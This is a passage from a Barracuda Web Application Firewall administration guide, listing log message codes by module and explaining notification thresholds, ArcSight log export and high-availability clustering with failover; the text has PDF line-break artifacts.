LOG_WARN 41001 Encryption Key is going to expire within

<Number> days",
REMAINING_DAYS_FOR_EXPIRY(
pSharedKey->keyExpiryTimeout,curTimeInS
ecs)
LOG_WARN 41002 Encryption Key has already expired
BYPASS
LOG_ALERT 46001 Unit is switching to bypass mode
LOG_NOTICE 46002 State set to bypass: stopping heartbeat

LOG_NOTICE 46003 State set to normal: starting heartbeat
Event Manager (EVM)
LOG_ERROR 11001 Event Manager startup failure: could not

handle signals
LOG_ERROR 11007 EnableSyslogService: create socket failed
LOG_ERROR 11008 fopen <log_filename>: <error_description>
LOG_ERROR 11009 <log_filename> write failed

<error_description>
Heartbeat (HB)
LOG_ERROR 15001 Heartbeat events dropped, queue is full
LOG_ERROR 15002 Unable to bind to address
LOG_ERROR 15003 Error sending packet
LOG_ERROR 15003 Error receiving data From remote gateway
LOG_ERROR 15004 Attempting to reinitialize the Heartbeat

Server before closing
LOG_ERROR 15004 Attempting to send data without Initialization
Certificate (CERT)
LOG_NOTICE 17001 <ssl-function-name>: Trusted certificate

expired: CN=<Common Name>, OU=<Org
Name >
LOG_NOTICE 17001 <ssl-function-name>: Trusted certificate

expired: O=<Org Name> L=<Location>
S=<State> C=<City>
LOG_NOTICE 17500 Cert Initialization
SSL and TLS (SSL)
LOG_NOTICE 16001 <ssl-function-name>: Base 0x<ssl-handle> -

Access denied: received bad certificate
signature

Access denied: failed to verify certificate
signature

Access denied: certificate chain too long

Access denied: failed to decode certificate

Access denied: no certificate

Access denied: failed to validate certificate
chain

Access denied: <Error Code>

Sending alert: <Alert-desc> (<Alert Code>)
from [<IP Address>:<Port>]


Received alert: <Alert-desc> (<Alert Code>)
from [<IP Address>:<Port>]

No RSA private key available

Mismatched key size <Size> (expected
<Size>)

Failed to get authority private key

Called on a client socket

Called on a server
LOG_ERROR 16013 <ssl-function-name>: Out of memory
LOG_ERROR 16013 <ssl-function-name>: Base 0x<ssl-handle> -

Out of memory
LOG_ERROR 16013 <ssl-function-name>: Socket

0x<sslsock-handle> - Out of memory
LOG_NOTICE 16014 <ssl-function-name>: Incorrect server name:

length should be between 0 and < length >
LOG_ERROR 16016 <ssl-function-name>: Base 0x<ssl-handle> -

Failed to schedule crypto command
LOG_NOTICE 16019 < ssl-function-name >: Cannot configure

more than <Number> certificate policies
LOG_NOTICE 16020 <ssl-function-name>: Cannot configure more

than <Number> trusted certificates per
service
LOG_NOTICE 16021 <ssl-function-name>: No available SSL

version for client socket
LOG_NOTICE 16023 <ssl-function-name>: Ephemeral Key

changed

No ephemeral key available
LOG_NOTICE 16500 SSL Initialization
HTTP Proxy (HTTPSVC)
LOG_ERROR 13100 HttpServerParseRequest: Parse failed;

Malformed version <request-buffer>

Unknown major number <request-buffer>

Unknown minor number <request-buffer>

Unknown method: <request-buffer>

Malformed URL <request-buffer>

Malformed line end <request-buffer>

LOG_ERROR 13101 HttpClientParseResponse: Parse failed;

Malformed version <request-buffer>

Unknown major number <request-buffer>

Unknown minor number <request-buffer>

Malformed status code <request-buffer>

Header: <request-buffer>

Malformed line end <request-buffer>
LOG_WARN 13103 OnHttpServerSockRecv: Session timed out

from <Client IP:Port>
LOG_NOTICE 13200 Can not connect to server (< error-code >)

for connection from: 0x< IP Address >
LOG_NOTICE 13200 SSL connection to server for connection

from: 0x< IP Address > failed
LOG_NOTICE 13200 Error connecting to server (< error-code >)

for connection from: 0x< IP Address >
LOG_NOTICE 13200 Error opening SSL connection to server for

connection from: 0x< IP Address >
LOG_NOTICE 13200 SSL accept failed for connection from: 0x< IP

Address >
LOG_NOTICE 13200 Error switching connection from: 0x< IP

Address > to SSL
LOG_NOTICE 13200 Error accepting SSL connection from: 0x< IP

Address >
Web Authentication (WEBAUTH)
LOG_ERROR 18203 Unable to contact the authentication server,

(RPC Queue full)
LOG_ERROR 18204 Remote procedure call to authentication

server timed out
LOG_ERROR 18205 Login attempt failed for user <User ID>
LOG_ERROR 18206 Changing password failed for user <User ID>
LOG_NOTICE 18207 Added a realm:<Realm ID>
LOG_ERROR 18208 Unable to add realm:<Realm ID>
LOG_NOTICE 18209 Deleted a realm:<Realm ID>
LOG_ERROR 18215 Error received from webauthd , <Error

String>
LOG_NOTICE 18216 Insert into ptrie - allocation failed (flags:

0x<internal-flags-value>, mem:
<internal-mem-handle>) "Creating
AuthzCache - inserting into ptrie
failed(nodes: <internal-node-handle>,
<internal-node-handle>
LOG_NOTICE 18217 Client attempted to Logout without login

session cookie\n

LOG_WARN 18218 Invalid external policy store configured,

realm name = <realm-name>
Application Firewall (APS)
LOG_ERROR 19003 GetIpsUrlProfileLearningStats: error

<Error_ID>
LOG_NOTICE 19031 XML Firewall error: <error-string> ( offset:

<offset number>, code: <error code>
)",pErr->desc,( int )pErr->offset, pErr->code
LOG_NOTICE 19031 XML Firewall error: Input validation
LOG_NOTICE 19031 XML Firewall error: Attack pattern
LOG_NOTICE 19031 XML Firewall error: Operation denied
LOG_NOTICE 19031 Received error from Web Services Firewall

module: error desc (<Error Id>: <error
message> )
LOG_ERROR 19032 Failed to allocate NCFORMINFO buffer
LOG_ERROR 19032 Unable to add session param to

NCFORMINFO (no-name param)
LOG_ERROR 19032 Failed to allocate NCFORMINFO buffer(resp)
LOG_ERROR 19032 Unable to add session param to

NCFORMINFO (multi-value)
LOG_ERROR 19032 Failed to allocate buffer for response URL

rewrite
LOG_ERROR 19032 Failed to allocate buffer for form encryption
LOG_ERROR 19035 PfCSRFProtection: No CSRF token found
LOG_WARN 19500 Could not cloak match for <group name>.

Value of Initial or Trailing Characters to Keep
is too large
LOG_WARN 19500 POST request with both Content-Length and

Transfer-Encoding headers [ url:
<URL|Malformed URL> ], dropped
LOG_WARN 19500 No intrusion information for intrusion ID
Cookie Security (COOKIE)
LOG_ALERT 20003 Cookie expires: Client <IP Address>
LOG_ALERT 20004 Cookie auth failed: cookiename auth failed
LOG_ALERT 20005 Cookie Length Overflow: Client <IP

Address>
LOG_ERROR 20006 Failed to allocate Shared Key context for

cookie encryption
CRL Daemon (CRL)
LOG_ERROR 40001 CRL File Download successfull
LOG_ERROR 40002 CRL File Download failed
FTP Proxy (FTPSVC)
LOG_ERROR 21011 Error while transferring data

LOG_WARN 21014 <Internal Session ID> Invalid client

ip-address (<IP Address>) specified with the
port command, actual client ip-address is
(<IP Address>)
LOG_WARN 21014 <Internal Session ID> Invalid port (<Port>)

specified with the port command, port value
must be greater than 1024
LOG_WARN 21014 <Internal Session ID> Invalid ip-addr (<IP

Address>) used to connect to listening ftp
data socket, expected from (<IP Address>)
LOG_ERROR 21022 Unable to allocate state control block for a

session
LOG_ERROR 21022 Unable to allocate memory for ftp session
LOG_ERROR 21022 Out of memory
LOG_ERROR 21022 <Service IP Address:Port>:Unable to

allocate memory for PORT cmd to FTP
server
LOG_ERROR 21022 <Service IP Address:Port>:Unable to

allocate memory for SSL verbs
LOG_ERROR 21023 Unable to get an active back-end server
LOG_ERROR 21024 Failed to create new socket
LOG_ERROR 21024 Failed to create SSL socket
LOG_ERROR 21024 Failed to create ssl client socket for data

connection
LOG_ERROR 21025 Unable to bind a server for data connection
LOG_ERROR 21025 Unable to setup data connection
LOG_ERROR 21026 Failed to connect to FTP server
LOG_ERROR 21026 Unable to establish SSL control connection

with the FTP server
LOG_ERROR 21026 Unable to connect to FTP server <Server IP

Address>
LOG_ERROR 21027 Unable to accept SSL connection from FTP

client
LOG_ERROR 21028 Failed to send response to the client
LOG_ERROR 21028 Failed to send control data to the server,

because of small TCP windows
LOG_ERROR 21028 Failed to send data to the FTP client on the

data connection
LOG_ERROR 21029 Failed to receive data from the FTP client on

the data connection
LOG_ERROR 21029 Failed to receive data from FTP server on

the data connection
LOG_ERROR 21030 Received bad response codes from the FTP

server
Compression (COMPRESS)
LOG_ERROR 24001 Compression request errored, <Error Code>,

<Error String>

LOG_ERROR 24006 Failed to initialize compression, switching

back to no-compression mode
Web Translation (WATREWR)
LOG_ERROR 26051 Rewrite Module: URL rewrite by both

Url-Translation and Request Rewrite
LOG_ERROR 26052 Rewrite Module: HTTP header rewrite by

both URL-translation and Request Rewrite.
Please go over your configuration to see if
this can be avoided
Network Socket (NET)
LOG_ERROR 3002 Failed to attach interface <Interface Name>
LOG_NOTICE 3003 <Interface Name>: promiscuous mode

enabled
LOG_ERROR 3011 rn_addmask: mask impossibly already in tree
LOG_ERROR 3011 Mask for route not entered
LOG_ERROR 3012 rn_delete <node-info>: Orphaned Mask

<node-info> at <node-info>
LOG_ERROR 3013 rn_init: radix functions require max_keylen

be set
TCP (NETINET)
LOG_ERROR 4033 Can't find virtual host for route, dst = <IP
Address>
LOG_NOTICE 4034 ipflow to <IP Address> reached max refs
LOG_NOTICE 4034 Copyright (c) 2001, 2002 Barracuda Inc.
LOG_NOTICE 4034 Copyright (c) 1982, 1986, 1993 The Regents

of the University of California
LOG_ALERT 4054 Detected a SYN attack, using SYN cookies
LOG_WARN 4011 arp request for <IP Address> failed with no

memory
LOG_ERROR 4013 <Host IP Address> is using my IP address

<IP Address>
LOG_ERROR 4014 Failed to find route for arp response to client

<IP Address>
LOG_WARN 4015 arp: <MAC Address> attempts to modify

permanent entry for <IP Address> on
<Interface Name>
LOG_WARN 4016 arp_rtrequest: bad gateway value
LOG_ERROR 4017 arpresolve: can't allocate info for <IP

Address>, rt=<route>
LOG_ERROR 4017 arp_rtrequest: malloc failed
LOG_ERROR 45006 Socket between stm wrapper and

Configuration agent failed...Cannot execute
<command> command
Symmetric Encryp. Decryp. (CRYPTO)
LOG_DEBUG 5004 Decrypt Failed
Process Monitor (PROCMON)

LOG_WARN 44001 STM crash detected current state is: <STM

State> state <Number> crashes in last
<Time in Seconds>
LOG_NOTICE 44001 Checking if configuration needs to be

synchronized with peer system
LOG_NOTICE 44001 Notifying peer system to check if

configuration needs to be synchronized
LOG_WARN 44002 Total retries: <Number> waiting for <Time in

seconds> before next restart
LOG_WARN 44003 Too many <Number> tries to restart unstable

STM, switching to Failed state
LOG_WARN 44004 Too many STM crashes switching to

Unstable state, will attempt restart in <Time
in seconds>
LOG_NOTICE 44005 Attempting to restart STM and Eventmgr
LOG_NOTICE 44006 Attempting to recreate the log DB
LOG_ERROR 44007 Error : <Error code> encountered with stm

start
LOG_ERROR 44008 STM restart failed: switching to Failed state
LOG_ERROR 44009 STM restart failed: switching to Failed state
LOG_NOTICE 44010 STM restart succeeded: current state: Stable
LOG_WARN 44011 shmget failed
LOG_WARN 44012 number of stm worker threads is <Number of

STM Threads>"
LOG_WARN 44013 shmread error <Failure Error>
LOG_WARN 44014 STM worker thread <Number> seems to be

hung. Event count <Number>
LOG_WARN 44015 STM seems to be hung. Killing STM
LOG_NOTICE 44016 STM alive: switching from <STM State> to

stable state
LOG_WARN 44017 <Process Name> state is <Process State>
LOG_ERROR 44018 bypass_hbeat.pl is dead restarting gpio and

bypass_hbeat
LOG_ERROR 44019 clamd is dead, restarting <Process Name>
LOG_ERROR 44019 snmpd is dead, restarting <Process Name>
LOG_ERROR 44020 profile agent is dead, restarting <Process

Name>
LOG_ERROR 44021 collectd is dead, restarting <Process Name>
LOG_ERROR 44022 namemon is dead, restarting namemon
LOG_ERROR 44023 config agent is dead, restarting config_agent

and stm
LOG_CRIT 44024 System highest temp has reached
LOG_CRIT 44025 System is getting real hot
LOG_CRIT 44026 System highest temp has reached
LOG_CRIT 44027 System is getting real hot

LOG_ALERT 44028 One of the CPU fans is dead
LOG_ALERT 44029 One of the System fans is dead
LOG_ALERT 44030 One of the System fans is dead
LOG_ALERT 44031 Firmware storage exceeds 85%
LOG_ALERT 44032 Mail storage exceeds 85%
LOG_ALERT 44033 One of the RAID arrays is degrading.
LOG_WARN 44034 <Interface Name>: link seems down
LOG_ALERT 44035 <Interface Name>: link is down
LOG_NOTICE 44036 <Interface Name>: link is up

LOG_NOTICE 44001 Notifying peer system to check if

configuration needs to be synchronized
LOG_ERROR 44039 heartbeat.pl is dead <Number>, restarting
LOG_ERROR 44040 heartbeat.pl is in state D for <Number>

tick(s). Ignoring the state
LOG_ERROR 44041 cluster_manager is dead <Number>,

restarting
LOG_ERROR 44042 cluster_manager is in state D for <Number>

tick(s). Ignoring the state
LOG_ERROR 44043 Restarting spinal cord process since there

may be an issue in connecting to Control
Center
LOG_ERROR 44043 Restarting ssh

LOG_ERROR 44044 Configuration dispatcher is dead <Number>,

restarting
LOG_ERROR 44045 Configuration dispatcher is in state D for

<Number> tick(s). Ignoring the state
LOG_ALERT 44046 STM seems to be running high on Memory.

Please contact to Barracuda Support Center
for analysis
LOG_ALERT 44047 Memory Usage exceeds 70%
LOG_NOTICE 44048 Monitoring links: <Link Name>
LOG_NOTICE 44049 Started monitoring
LOG_ALERT 44050 Log storage exceeds 85%
LOG_ALERT 44051 High CPU Usage
LOG_EMERG 44850 VNET_CONFIG' @message if $syslog ne 0;
LOG_NOTICE 44201 Mode change: Hard bypass = <Hard Bypass

Enabled> Bypass on Failure = <Soft Bypass
Enabled>
LOG_NOTICE 44202 Mode set to bypass Hard bypass = <Hard

Bypass Enabled> Bypass on Failure = <Soft
Bypass Enabled>

LOG_NOTICE 44203 Changing Heartbeat bit state from <Old

Hearbeat bit state> to <New Hearbeat bit
state>
LOG_NOTICE 44204 Mode set to never bypass
LOG_ALERT 44301 Harddisk Failure
LOG_ERROR 44701 Could not open pdf '<report>' because: $!\n
LOG_ERROR 44702 Could not open html '<report>' because: $!\n
LOG_ERROR 44703 Report not sent to <email address>
CLUSTER MANAGER (CLRMGR)
LOG_NOTICE 43001 We are not yet in cluster mode. Could not

calculate destination IP and destination
Identity. Exiting
LOG_NOTICE 43001 Invalid Role :

<PRIMARY/BACKUP:self_role> specified in
cluster.conf. Could not determine self role.
Exiting
LOG_ERROR 43001 Cluster.conf file is not existing...Exiting
LOG_ALERT 43001 Peer device $g_peer_ip is UP
LOG_ALERT 43002 Peer device $g_peer_ip is UP
LOG_ALERT 43003 Peer device $g_peer_ip DOWN
LOG_NOTICE 43010 Self assume received for

<operational_mode> mode
Monitor Check (CHECK_MON_LINK)
LOG_ERROR 48302 Couldn't connect to NTP server: <Server

Name/IP Address>
Barracuda Updates (UPDATE)
LOG_ALERT 52001 Energize update subscription is about to

expire in <Number> days
LOG_ALERT 52002 New attack definition version <Number> is

available
LOG_ALERT 52003 New firmware update is available Current

Version = <current_version> Beta Version =
<beta_version>
LOG_ALERT 52004 New firmware update is available Current

Version = <current_version> New Version =
<new_version>
LOG_ALERT 52005 Attackdef downloaded and applied on the

appliance
LOG_ALERT 52006 Attackdef downloaded and applied on the

appliance
LOG_ALERT 52007 New Virus definition update available.Current

Version = <current_version>. New Version =
<new_version>
LOG_ALERT 52010 New Firmware update available.Current

<new_version>

LOG_ALERT 52011 New Attack definition update

available.Current Version =
<current_version>. New Version =
<new_version>
LOG_ALERT 52012 New Virus definition update available.Current

<new_version>.
BYPASS
LOG_ALERT 44221 Unit is switching to bypass mode
LOG_NOTICE 44222 State set to bypass: stopping heartbeat
LOG_NOTICE 44223 State set to normal: starting heartbeat
LOG_NOTICE 44201 Mode change: Hard bypass = <Hard Bypass

Enabled> Bypass on Failure = <Soft Bypass
Enabled>
LOG_NOTICE 44202 Mode set to bypass Hard bypass = <Hard

Bypass Enabled> Bypass on Failure = <Soft
Bypass Enabled>
LOG_NOTICE 44203 Changing Heartbeat bit state from <Old

Hearbeat Version> to <New Hearbeat
Version>
LOG_NOTICE 44204 Mode set to never bypass
STM_WRAPPER
LOG_WARN 45001 Cannot execute <Command Name>

Command. Exiting.
LOG_WARN 45002 Configuration agent is not running. Cannot

monitor <Command Name> command
LOG_WARN 45003 command<Command Name> execution

status = <Status>
LOG_WARN 45004 Configuration agent crashed. Failed to

execute <Command Name> command
LOG_WARN 45005 Configuration agent is not running....Cannot

execute <Command Name> command
LOG_WARN 45006 Socket between stm wrapper and

Configuration agent failed...Cannot execute
<Command Name> command
LOG_ERROR 45007 Failed to initialize STM
LOG_NOTICE 45008 Successfully initialized STM
LOG_NOTICE 45008 Creating db snapshot after initwac
LOG_NOTICE 45009 Successfully stopped STM
LOG_NOTICE 45010 <Failure Reason>
LOG_INFO 45011 Procmon rollback :Loading at <Date> from

DB snapshotlast successful digest
LOG_NOTICE 45012 Rollback finished: success
LOG_ERROR 45013 Rollback failed : Failed to restart STM
LOG_NOTICE 45014 <Failure Reason>

LOG_WARN 45016 Configuration size is <Current Config Size>

Bytes which exceeds the <Max Config Size>
Bytes safe limit. Please check your
configuration.
LOG_WARN 45018 System in failed state: attempting recovery

for config
LOG_ERROR 45019 STM startup failed. Retrying with blank

config
LOG_ERROR 45020 STM startup failed even with blank config.

Exiting
LOG_NOTICE 45022 Committing UI configuration
LOG_NOTICE 45024 Killing STM for dumping core
PROCESS SCHEDULE
LOG_WARN 49001 Scheduled Backup failed : System has

locked key configuration
Stateful Failover (SFO)
LOG_NOTICE 25050 Opening System State Transfer listening

socket
LOG_NOTICE 25050 Closing System State Transfer listening

socket
LOG_NOTICE 25050 Accepted System State Transfer connection

sock
LOG_NOTICE 25100 Unrecognised state pkt
LOG_NOTICE 25100 Calling update system state function of

module
LOG_NOTICE 25100 Ignoring System State Transfer packet for

unknown module
LOG_NOTICE 25150 Opening Request State Transfer listening

socket
LOG_NOTICE 25150 Listening for Request State Transfer

connections on socket
LOG_NOTICE 25150 Request State Transfer listening socket

Configuring Notifications
The Notification feature allows you to select the modules for which you want to receive email notifications when an event occurs, or the
configured threshold is exceeded. The administrator can select the modules and set the severity level for the modules to receive notifications.
Email notifications are sent to the email address(es) configured in System Alert Email Address on the BASIC > Administration page in the Em
ail Notification section. To receive email notifications for the configuration settings made in Global Threshold and Service Threshold, ensure
that the Threshold Controlled module is enabled and severity level is set to Alert in the Notification Configuration section on the BASIC >
Notifications page.
On the BASIC > Notifications page you can set:
The threshold limit for the hardware components and attack categories in the Global Threshold section.
The threshold limit for each attack type per service in the Service Threshold section.
Events are generated and email notifications are sent whenever the configured threshold limit exceeds within the time interval of five
(5) minutes.
Severity Level
The severity level determines how critical an event is for the system. The following table lists the severity level and its description:
Severity Description
Emergency Event generated when the system is in an unusable state (highest

priority).
Alert Event generated when an immediate action is required.
Critical Event generated when the system is in critical condition.
Error Event generated when there is an error processing the request.
Warning Event generated when an action is required to be taken on a

particular module configuration or process. If no action is taken, an
error might occur. Example: “Encryption Key is going to expire within
5 days”.
Notice Events generated when an unusual activity is noticed. No immediate

action is required.
Configuring Threshold Limits
1. Go to the BASIC > Notifications page.

2. In the Global Threshold section, configure the threshold limit for hardware components and attack categories.
3. In the Service Threshold section, configure the threshold limit for attack types per service.
4. Click Save.
Ensure that the Threshold Controlled module is enabled, and severity level is set to Alert in the Notification Configuration section.
Steps to Enable Notification for the Modules

2. In the Notification Configuration section, identify the modules for which you want to receive email notifications.
3. Select the check box(es) next to the modules.
4. Select the severity level.
5. Click Save.
Examples:
Example 1: Configure Notification Alerts for Hardware Components and Attack Categories:

2. In the Global Threshold section:
a. Enter the threshold value for hardware components and attack categories you desire. For Example: CPU Temperature - 60,
Firmware Storage - 70, SQL Attacks - 100, XSS Injections - 50.
3. In the Notification Configuration section:
a. Set Severity to Alert.
b.

3.
b. Select the Threshold Controlled checkbox under Module.

4. Click Save.
Example 2: Configure Notification Alerts for Specific Attack Types under each Service

2. In the Service Threshold section:
a. Enter the name of the attack in Event Type, configure the threshold value for the attack and click Add. You can add multiple
attack types under each service. For Example: Cross-Site Scripting in URL - 5, Query Length Exceeded - 200, etc.
a. Set Severity to Alert.
b. Select the Threshold Controlled checkbox under Module.
4. Click Save.
To receive email notifications for the configuration settings made in Global Threshold and Service Threshold, ensure that the
Severity is set to Alert and the module Threshold Controlled is enabled in the Notification Configuration section.
Example 3: Configure Notification Alerts for Specific Modules

a. Select the severity level (Emergency, Alert, Critical, Error, Warning and/or Notice) for the modules.
b. Select the checkbox(es) next to the modules for which you want to receive email notifications.
3. Click Save.

How to Export Logs to ArcSight SIEM Devices
In this article:
Exporting Logs to ArcSight Logger

Configure ArcSight Logger
Exporting Logs to ArcSight SmartConnector
Configure SmartConnector
Exporting Logs to ArcSight Logger

1. Download ArcSight Logger from the HP website.

2. Configure ArcSight Logger using the HP ArcSight Logger Admin Guide.
Ensure the logger is listening on UDP/TCP port. Example: 514.
1. Log into the Barracuda Web Application Firewall web interface.

2. Go to ADVANCED > Export Logs.
3. In the Syslog section, click Add Syslog Server and specify the following:
a. Name - Enter a name for the syslog server.
b. IP Address – Enter the IP address of the configured ArcSight Logger.
c. Port – Enter the port number on which the logger listens.
d. Connection Type – Set the connection type to transmit logs from the Barracuda Web Application Firewall to the syslog server.
e. Specify values for other parameters as required and click Add.
4. In the Logs Format section:
a. Set ArcSight Log Header to Syslog Header.
b. Set Web Firewall Logs, Access Logs and Audit Logs to CEF:0 (ArcSight) log format.
c. Click Save.
5. Send logs to the configured syslog server.
6. Verify the ArcSight Logger displays the logs.
Exporting Logs to ArcSight SmartConnector
1. Download the latest version of ArcSight SmartConnector from the HP website.

2. Install ArcSight SmartConnector on Windows, Linux, or another supported platform by following the steps in the Smart Connector admin
guide.
3. Ensure SmartConnector listens on the UDP/TCP port, and that the port is connected to a logger or other device where the logs can be
forwarded.
1. Log into the Barracuda Web Application Firewall web interface.

2. Go to ADVANCED > Export Logs.
3. In the Syslog section, click Add Syslog Server and specify the following:
a. Name - Enter a name for the syslog server.
b. IP Address – Enter the IP address of the configured ArcSight SmartConnector.
c. Port – Enter the port number on which the SmartConnector listens.
d. Connection Type – Set the connection type to transmit the logs from the Barracuda Web Application Firewall to the syslog
server.
e. Specify values for other parameters as required and click Add.
4. In the Logs Format section:
a.

4.
a. Set ArcSight Log Header to Syslog Header.

b. Set Web Firewall Logs, Access Logs and Audit Logs to CEF:0 (ArcSight) log format.
c. Click Save.
5. Send logs to the configured syslog server.
6. Verify that the ArcSight Logger, or system where the SmartConnector forwards the logs, displays the logs.
The image below shows the configuration:

High Availability
In this article:
Introduction
Active-Active Setup
Active-Standby Setup
Related Articles
How to Set Up a High Availability Environment
with Two Barracuda Web Application Firewalls
Failover and Failback in an Active-Active Cluster
How to Remove or Replace Units in a Cluster
Updating the Firmware in Clustered Units
Introduction
The ADVANCED > High Availability page allows you to cluster two Barracuda Web Application Firewalls in a high availability setup. Both units
must be able to communicate with each other via their WAN ports. The Barracuda Web Application Firewall uses:
TCP port 32575 to synchronize configuration between clustered units.

TCP port 8002 to communicate with the peer unit.
UDP port 32576 to exchange the Heartbeat in clustered units.
The Barracuda Web Application Firewall supports both Active-Standby and Active-Active configuration. In Active-Standby, one unit serves all
requests for the Services in Vsite(s) configured while the other unit is in the Standby state. In Active-Active, both units serve requests for the
Services in Vsite(s) that are configured to be active on individual units.
Active-Active Setup
If different Vsites are active on each of the unit, and serving requests, the units are in Active-Active setup.
Active-Standby Setup
If all configured Vsites are active on one unit and the other unit is ready to handle traffic, the units are in Active-Standby setup.
A unit can be in Standby state in either of these two scenarios:
If the administrator has configured all Vsite(s) to be active on one unit, and the other unit is ready to handle traffic.
If the unit that was active and handling traffic had failed, restores from the Failed state and is ready to resume operation. This can occur
only when the units are in Manual mode.
Active-Active configuration is available in the Barracuda Web Application Firewall 660 and above with version 7.7 and above. For
information on High Availability in previous firmware versions, call Barracuda Technical Support.
Active-Active Setup:

Each linked Barracuda Web Application Firewall sends a custom “heartbeat” to the other unit using UDP, providing continual status updates. If
one of the units fails to send a heartbeat within nine (9) seconds, or sends a status indicating its state as “Failed”, the Active unit assumes all
active Services of the failed unit and continues to process traffic.
Each Barracuda Web Application Firewall to be added to a cluster must meet the following requirements:
Have a unique WAN IP address. The Barracuda Web Application Firewalls uses the WAN IP address for joining the units in cluster and
configuration synchronization.
Have connectivity to (can ping successfully) the other appliance on the WAN interface.
Be co-located (WAN Interface) on the same switch (or physical network).
The "heartbeat" packets are sent through the WAN interface for determining the state of the Peer unit in HA by default. The Advanced Cluster
Settings section on the ADVANCED > High Availability page provides the administrator an option to configure the interfaces (WAN, LAN or/and
MGMT) on which the heartbeat packets needs to be sent. It also provides the flexibility to configure the frequency of heartbeat messages. The A
dvanced Cluster Settings is an advanced feature and is available only when Advanced Settings is set to Yes on the ADVANCED > System
Configuration page.
It is recommended to send the heartbeat packets through multiple interfaces to reduce false positives.
To ensure proper routing from the back-end servers in case of failover:
Add a virtual IP address on the LAN interface from the ADVANCED > Network Configuration page.
Use this virtual IP address as the routing address for WAN traffic on the real server routing tables (or to the intermediate router's routing

tables if the server is in a different subnet).
Do not use the LAN IP address for routing in a HA setup as it is not synchronized or failed over in a cluster.

How to Set Up a High Availability Environment with Two Barracuda Web

Application Firewalls
The ADVANCED > High Availability feature enables you to cluster two Barracuda Web Application Firewalls as an Active-Standby or
Active-Active pair. In Active-Standby setup, one unit serves all requests for the Services in configured Vsite(s) and the other unit is ready to
handle the traffic. In Active-Active setup, both units serve requests for only the Services in Vsite(s) configured on the respective unit.
To cluster two Barracuda Web Application Firewalls:
1. For each system follow the instructions in Step 1: Installing the Barracuda Web Application Firewall. Each Barracuda Web Application
Firewall in a cluster must have the same firmware version installed.
2. Ensure each system has the following basic configuration settings:
a. Unique WAN IP address, LAN IP address and Default Host Name on the BASIC > IP Configuration page.
b. The DNS server IP address may be unique for each or the same on both systems.
c. If both systems in the cluster are in the same network, ensure they are set to the same Time and Time Zone on the BASIC >
Administration page. This prevents configuration synchronization issues.
3. From the ADVANCED > Task Manager page on the Barracuda Web Application Firewall 1, verify that no processes are running. Do the
same for Barracuda Web Application Firewall 2. No processes should be running on either appliance when you join systems together.
4. Always initiate the Join Cluster operation from the unit which needs to inherit the configuration. The unit from which the join cluster is
initiated will have its configuration overwritten. To ensure that the Backup unit has NO previous configuration settings, invoke Clear
Configuration from the ADVANCED > Troubleshooting page to restore the unit to its initial configuration.
5. From the ADVANCED > High Availability page on the Barracuda Web Application Firewall 1, enter the Cluster Shared Secret, and
click Save Changes.
Cluster Shared Secret can include alphanumeric characters, periods (.), hyphens (-) and underscores (_). Any other special
characters such as space, semicolon, asterisk, etc. are not allowed.
6. From the ADVANCED > High Availability page on the Barracuda Web Application Firewall 2, do the following:
a. Enter the same Cluster Shared Secret, and click Save Changes. Both units in a cluster must have the same Cluster Shared
Secret to communicate with each other.
b. In the Clustered Systems section, enter the WAN IP address of the Barracuda Web Application Firewall 1, and click Join
Cluster. Never cancel a Join Cluster in progress. The unit from which the Join Cluster is executed becomes the designated
Backup unit. That is, Barracuda Web Application Firewall 1 becomes Primary and Barracuda Web Application Firewall 2
becomes Backup.
7. On each Barracuda Web Application Firewall, refresh the ADVANCED > High Availability page, and verify that:
a. Each system’s WAN IP address appears in the Clustered Systems list.
b. The Status is green for both units. This indicates the communication status. See Status Indicators.
8. The High Availability Status can be viewed on the BASIC > Dashboard page, under Performance Statistics. This shows the role and
state of each unit.
Clustering in Bridge Mode:
When you want to cluster two machines in Bridge mode for High Availability, first put the desired secondary or backup unit in
proxy mode. Once you join the two using the above steps, the secondary machine will synchronize its configuration to the
primary and revert to Bridge mode.
Note that on the BASIC > IP Configuration page, the options Bypass on Failure and Hard Bypass should be set to No in
order to cluster two units.
In Proxy mode if Client Impersonation is enabled:
1. Create a virtual interface on the port that is used to connect to the back-end servers.
2. Configure the IP address of the virtual interface as the default gateway on the servers.
Status Indicators
The Status of clustered units:
( ) Active/Standby state – The unit is up and serving incoming service requests (if any), OR the unit is up and ready to assume
services (if any).
( ) Failed state – The unit is down due to any of the reasons below:
a. Link Down – If Monitor Link for WAN, LAN or Management is selected in the ADVANCED > High Availability page,
and the corresponding link is down, the system goes into a Failed state.
b. Inability to Serve Traffic – Instability in any traffic processing module which prevents it from serving traffic will cause
the system to go into a Failed state.
c.

c. Lost Heartbeat – When the Backup unit has not received a heartbeat from the Primary unit for 9 seconds, it concludes
that the primary unit is down or dead and it executes failover.
( ) Initializing state – The unit is in initializing state, that is, the JOIN CLUSTER operation is running.
Related Articles


This configuration is available ONLY in 7.7 and above Firmware Versions. For information on High Availability in previous Firmware
Versions, call Barracuda Technical Support.
In this article:
Failover
Failover in Automatic Mode
Failover in Manual Mode
Failback
Failback in Automatic Mode
Failback in Manual Mode
Failover
Failover is a process of moving active Vsite(s) from the failed unit to the Peer unit when one of the unit serving requests is in Failed state. The
Peer unit should be in Active state to take over the active Vsite(s) from the failed unit. On a failover, the Peer unit assumes the active Vsite(s) of
the failed unit and continues to process the traffic until the failed unit is restored.
Failover can occur in three ways:
1. Link Down – If the parameter Monitor Link for WAN, LAN and Management is selected in the ADVANCED > High Availability page,
and when the link is down for any one of the interfaces being monitored, the system goes into a Failed state.
2. Inability to Serve Traffic – Instability in any traffic processing module which prevents it from serving traffic will cause the system to go
into a Failed state.
3. Lost Heartbeat – When the backup unit has not received a heartbeat from the primary unit for nine (9) seconds, it concludes that the
primary unit is down or dead and it executes failover.
Failover in Automatic Mode
When the unit that is active and handling traffic fails, the active Vsite(s) automatically fails over to the Peer unit. The Peer unit assumes the
Services in Vsite(s) from the failed unit and continues to process the traffic until the failed unit is restored.
Failover in Manual Mode
Failover in the manual mode occurs in two ways. They are:
1. When one of the units serving traffic fails.

2. Clicking the Failover button on one of the unit.
The first case is similar to the automatic failover. When the unit that is active and handling traffic fails, the active Vsite(s) automatically fails over
to the Peer unit. The Peer unit assumes the Vsite(s) of the failed unit and continues to process the traffic.
In the second case, you can force a failover on one of the unit by clicking the Failover button in the Clustered Systems section. The unit goes to
the Standby state and the Peer unit assumes the Services in Vsite(s) from the unit and continues to process the traffic.
Failover is always automatic irrespective of Automatic or Manual mode. In both Automatic and Manual modes, the Failover process
cannot take place if the Peer unit is also down.
Failback
Failback restores functioning Vsite(s) that have failed over from the failed unit to the Peer unit. When the failed unit returns from the Failed state
